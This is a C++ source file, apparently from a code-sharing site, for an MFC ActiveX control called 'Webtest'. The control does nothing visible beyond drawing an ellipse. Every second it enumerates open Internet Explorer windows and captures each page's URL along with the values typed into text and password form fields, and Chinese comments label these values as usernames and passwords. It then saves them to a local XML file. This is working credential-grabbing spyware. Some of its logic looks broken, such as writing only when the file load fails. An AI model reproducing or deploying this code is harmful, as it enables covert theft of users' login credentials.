📄 webtestctl.cpp
字号:
// WebtestCtl.cpp : Implementation of the CWebtestCtrl ActiveX Control class.
#include "stdafx.h"
#include "webtest.h"
#include "WebtestCtl.h"
#include "WebtestPpg.h"
#import <msxml3.dll>
#include<mshtml.h>
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
#include <atlbase.h>
IMPLEMENT_DYNCREATE(CWebtestCtrl, COleControl)
/////////////////////////////////////////////////////////////////////////////
// Message map
BEGIN_MESSAGE_MAP(CWebtestCtrl, COleControl)
//{{AFX_MSG_MAP(CWebtestCtrl)
ON_WM_TIMER()
//}}AFX_MSG_MAP
ON_OLEVERB(AFX_IDS_VERB_PROPERTIES, OnProperties)
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// Dispatch map
BEGIN_DISPATCH_MAP(CWebtestCtrl, COleControl)
//{{AFX_DISPATCH_MAP(CWebtestCtrl)
//}}AFX_DISPATCH_MAP
DISP_FUNCTION_ID(CWebtestCtrl, "AboutBox", DISPID_ABOUTBOX, AboutBox, VT_EMPTY, VTS_NONE)
END_DISPATCH_MAP()
/////////////////////////////////////////////////////////////////////////////
// Event map
BEGIN_EVENT_MAP(CWebtestCtrl, COleControl)
//{{AFX_EVENT_MAP(CWebtestCtrl)
//}}AFX_EVENT_MAP
END_EVENT_MAP()
/////////////////////////////////////////////////////////////////////////////
// Property pages
// TODO: Add more property pages as needed. Remember to increase the count!
BEGIN_PROPPAGEIDS(CWebtestCtrl, 1)
PROPPAGEID(CWebtestPropPage::guid)
END_PROPPAGEIDS(CWebtestCtrl)
/////////////////////////////////////////////////////////////////////////////
// Initialize class factory and guid
IMPLEMENT_OLECREATE_EX(CWebtestCtrl, "WEBTEST.WebtestCtrl.1",
0xebb2b0e3, 0x789d, 0x45fd, 0xab, 0x51, 0x78, 0x1e, 0xa1, 0xdc, 0xe9, 0xc4)
/////////////////////////////////////////////////////////////////////////////
// Type library ID and version
IMPLEMENT_OLETYPELIB(CWebtestCtrl, _tlid, _wVerMajor, _wVerMinor)
/////////////////////////////////////////////////////////////////////////////
// Interface IDs
const IID BASED_CODE IID_DWebtest =
{ 0xd0819ce6, 0xb97e, 0x499c, { 0x9d, 0x3f, 0x5e, 0x52, 0x5a, 0x6a, 0x7b, 0x6a } };
const IID BASED_CODE IID_DWebtestEvents =
{ 0xe13d646c, 0x30, 0x4c9d, { 0x9f, 0xb0, 0x49, 0x6, 0x37, 0x99, 0xf2, 0xaf } };
/////////////////////////////////////////////////////////////////////////////
// Control type information
static const DWORD BASED_CODE _dwWebtestOleMisc =
OLEMISC_ACTIVATEWHENVISIBLE |
OLEMISC_SETCLIENTSITEFIRST |
OLEMISC_INSIDEOUT |
OLEMISC_CANTLINKINSIDE |
OLEMISC_RECOMPOSEONRESIZE;
IMPLEMENT_OLECTLTYPE(CWebtestCtrl, IDS_WEBTEST, _dwWebtestOleMisc)
/////////////////////////////////////////////////////////////////////////////
// CWebtestCtrl::CWebtestCtrlFactory::UpdateRegistry -
// Adds or removes system registry entries for CWebtestCtrl
BOOL CWebtestCtrl::CWebtestCtrlFactory::UpdateRegistry(BOOL bRegister)
{
// TODO: Verify that your control follows apartment-model threading rules.
// Refer to MFC TechNote 64 for more information.
// If your control does not conform to the apartment-model rules, then
// you must modify the code below, changing the 6th parameter from
// afxRegApartmentThreading to 0.
if (bRegister)
return AfxOleRegisterControlClass(
AfxGetInstanceHandle(),
m_clsid,
m_lpszProgID,
IDS_WEBTEST,
IDB_WEBTEST,
afxRegApartmentThreading,
_dwWebtestOleMisc,
_tlid,
_wVerMajor,
_wVerMinor);
else
return AfxOleUnregisterClass(m_clsid, m_lpszProgID);
}
/////////////////////////////////////////////////////////////////////////////
// CWebtestCtrl::CWebtestCtrl - Constructor
CWebtestCtrl::CWebtestCtrl()
{
InitializeIIDs(&IID_DWebtest, &IID_DWebtestEvents);
CreateXMLFile("test.xml");
SetTimer(1,1000,NULL);
// TODO: Initialize your control's instance data here.
}
/////////////////////////////////////////////////////////////////////////////
// CWebtestCtrl::~CWebtestCtrl - Destructor
CWebtestCtrl::~CWebtestCtrl()
{
// TODO: Cleanup your control's instance data here.
}
/////////////////////////////////////////////////////////////////////////////
// CWebtestCtrl::OnDraw - Drawing function
void CWebtestCtrl::OnDraw(
CDC* pdc, const CRect& rcBounds, const CRect& rcInvalid)
{
// TODO: Replace the following code with your own drawing code.
pdc->FillRect(rcBounds, CBrush::FromHandle((HBRUSH)GetStockObject(WHITE_BRUSH)));
pdc->Ellipse(rcBounds);
}
/////////////////////////////////////////////////////////////////////////////
// CWebtestCtrl::DoPropExchange - Persistence support
void CWebtestCtrl::DoPropExchange(CPropExchange* pPX)
{
ExchangeVersion(pPX, MAKELONG(_wVerMinor, _wVerMajor));
COleControl::DoPropExchange(pPX);
// TODO: Call PX_ functions for each persistent custom property.
}
/////////////////////////////////////////////////////////////////////////////
// CWebtestCtrl::OnResetState - Reset control to default state
void CWebtestCtrl::OnResetState()
{
COleControl::OnResetState(); // Resets defaults found in DoPropExchange
// TODO: Reset any other control state here.
}
/////////////////////////////////////////////////////////////////////////////
// CWebtestCtrl::AboutBox - Display an "About" box to the user
void CWebtestCtrl::AboutBox()
{
CDialog dlgAbout(IDD_ABOUTBOX_WEBTEST);
dlgAbout.DoModal();
}
/////////////////////////////////////////////////////////////////////////////
// CWebtestCtrl message handlers
int CWebtestCtrl::CreateXMLFile(char *xml_file_name)
{
// create an xml file named xml_file_name comtemporily
// if the return val is "0",it means that creation
// if failed
::CoInitialize(NULL);// this item must be included
//it is fatal ,else it will failed
//then at last “::CoUninitialize();”
//matched
MSXML2::IXMLDOMDocumentPtr pDoc;
HRESULT hr = pDoc.CreateInstance(__uuidof(MSXML::DOMDocument));//
//<msxml3.dll> version is 3.0
if(!(SUCCEEDED(hr)))//faild
{
return 0;
}
MSXML2::IXMLDOMElementPtr pPolicy=pDoc->createElement("Local");
pDoc->appendChild(pPolicy);
{ // the brackets including 1,2,3 can show the
//tree structure of the xml file
// nodes
//1
MSXML2::IXMLDOMElementPtr pPolicyType;
pPolicyType=pDoc->createElement("OneRecord");
pPolicy->appendChild(pPolicyType);
{//2.2
MSXML2::IXMLDOMElementPtr pProcessType;
pProcessType=pDoc->createElement("URL");
pProcessType->Puttext("phenix1");
pPolicyType->appendChild(pProcessType);
pProcessType=pDoc->createElement("text");
pProcessType->Puttext("phenix2");
pPolicyType->appendChild(pProcessType);
pProcessType=pDoc->createElement("password");
pProcessType->Puttext("phenix3");
pPolicyType->appendChild(pProcessType);
pProcessType.Release();
}//end 2.2
_variant_t varXml(xml_file_name);
pDoc->save(varXml); //save the file
pPolicy.Release();
pPolicyType.Release();
}//end 1
pDoc.Release();
::CoUninitialize(); //necessary it same as new and delete
return 1;
}
void CWebtestCtrl::OnTimer(UINT nIDEvent)
{
// TODO: Add your message handler code here and/or call default
GetDate();
COleControl::OnTimer(nIDEvent);
}
int CWebtestCtrl::modify(const char *nodename, char *nodeValue)
{
::CoInitialize(NULL);
MSXML2::IXMLDOMDocumentPtr pDoc;
HRESULT hr = pDoc.CreateInstance(__uuidof(MSXML::DOMDocument));
int rtval=0;
if(!(SUCCEEDED(hr)))
{
rtval=0;
return rtval;
}
hr=pDoc->load("test.xml");// 文件名。
if(!SUCCEEDED(hr))
{
MSXML2::IXMLDOMElementPtr pPolicyNode=pDoc->GetdocumentElement();
MSXML2::IXMLDOMElementPtr pSelectNode=pPolicyNode->selectSingleNode(nodename);
pSelectNode->Puttext(nodeValue);
pDoc->save("test.xml");
pPolicyNode.Release();
pSelectNode.Release();
rtval=1;
}
pDoc.Release();
::CoUninitialize();
return rtval;
}
void CWebtestCtrl::GetDate()
{
/*IWebBrowser2 *m_webbrowser;
//CString str;
//CComBSTR bstr;
// pDoc2->get_URL(&bstr);
CString str;
BSTR *b;
m_webbrowser->get_LocationURL(b);
str.Format("s%",*b);
//CString str(*b);
this->modify("OneRecord//URL",str.GetBuffer(0));
CComBSTR s;
*/
VARIANT id, index;
CComPtr<IDispatch> spDispatch;
CComQIPtr<IHTMLDocument2, &IID_IHTMLDocument2> pDoc2;
CComPtr<IHTMLElement> pElement;
CComPtr<IHTMLElementCollection> pElementCol;
CComPtr<IHTMLFormElement> pFormElement;
CComPtr<IHTMLInputTextElement> pInputElement;
// TODO: Add your control notification handler code here
if (m_spSHWinds){
//得到浏览器的个数
int n = m_spSHWinds->GetCount();
//遍历每一个浏览器
for (int i = 0; i < n; i++){
_variant_t v = (long)i;
IDispatchPtr spDisp = m_spSHWinds->Item(v);
SHDocVw::IWebBrowser2Ptr spBrowser(spDisp); //生成一个IE窗口的智能指针
if (spBrowser){
//添加的程序,得到IE的URL
if (SUCCEEDED(spBrowser->get_Document( &spDispatch)))
pDoc2 = spDispatch;
if(pDoc2!=NULL)
{
//这个时间说明我们打开的是一个真正的IE窗口
CComBSTR bstr;
pDoc2->get_URL(&bstr);
CString myURL(bstr);
/*
char szFinal[300];
memset(szFinal,0,300);
_stprintf(szFinal, _T("%s"), (LPCTSTR)bstr);
char *p;
p=szFinal;*/
this->modify("OneRecord//URL",myURL.GetBuffer(0));
{
if (SUCCEEDED(pDoc2->get_forms(&pElementCol)))
{
// AfxMessageBox("IHTMLElementCollection");
long p=0;
if(SUCCEEDED(pElementCol->get_length(&p)))
if(p!=0)
{
// AfxMessageBox("1");
for(long i=0;i<=(p-1);i++)
{
V_VT(&id) = VT_I4;
V_I4(&id) = i;
V_VT(&index) = VT_I4;
V_I4(&index) = 0;
if(SUCCEEDED(pElementCol->item(id,index, &spDispatch)))
// AfxMessageBox("2");
if(SUCCEEDED(spDispatch->QueryInterface(IID_IHTMLFormElement,(void**)&pFormElement)))
{
// AfxMessageBox("IHTMLFormElement");
long q=0;
if(SUCCEEDED(pFormElement->get_length(&q)))
for(long j=0;j<=(q-1);j++)
{
V_VT(&id) = VT_I4;
V_I4(&id) = j;
V_VT(&index) = VT_I4;
V_I4(&index) = 0;
if(SUCCEEDED(pFormElement->item(id,index, &spDispatch)))
if(SUCCEEDED(spDispatch->QueryInterface(IID_IHTMLInputTextElement,(void**)&pInputElement)))
{
//AfxMessageBox("IHTMLInputTextElement");
CComBSTR value;
CComBSTR type;
//这个是我添加的程序
//CComBSTR test2(_T("hello zhanglei"));
//到达这个地方
pInputElement->get_type(&type);
CString strtype(type);
strtype.MakeUpper();
if(strtype.Find("TEXT")!=-1)
{
//这个是从网页当中得到text的值
pInputElement->get_value(&value);
//pInputElement->put_value(test2);
CString str(value);
if(!str.IsEmpty())
{
//写进列表框
// m_ctrlIE.InsertItem(0, _bstr_t(value)+_bstr_t(" 【可能是用户名或其他需提交的内容】"));
//写进XML文件
modify("OneRecord//text",str.GetBuffer(0));
}
}
else if(strtype.Find("PASSWORD")!=-1)
{
pInputElement->get_value(&value);
CString str(value);
if(!str.IsEmpty())
{
//写进列表框
// m_ctrlIE.InsertItem(0, _bstr_t(value) + _bstr_t(" 【应该是密码】"));
//写进XML文件
modify("OneRecord//password",str.GetBuffer(0));
}
}
}
}
}
}
}
}
}
}
// _bstr_t bsName = spBrowser->GetLocationName(); //窗口名称
// int nPos = m_ctrlIE.InsertItem(0, bsName);
// spBrowser->AddRef();
// void * pData = spBrowser;
// m_ctrlIE.SetItemData(nPos, (DWORD)(pData));
}
}
}
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -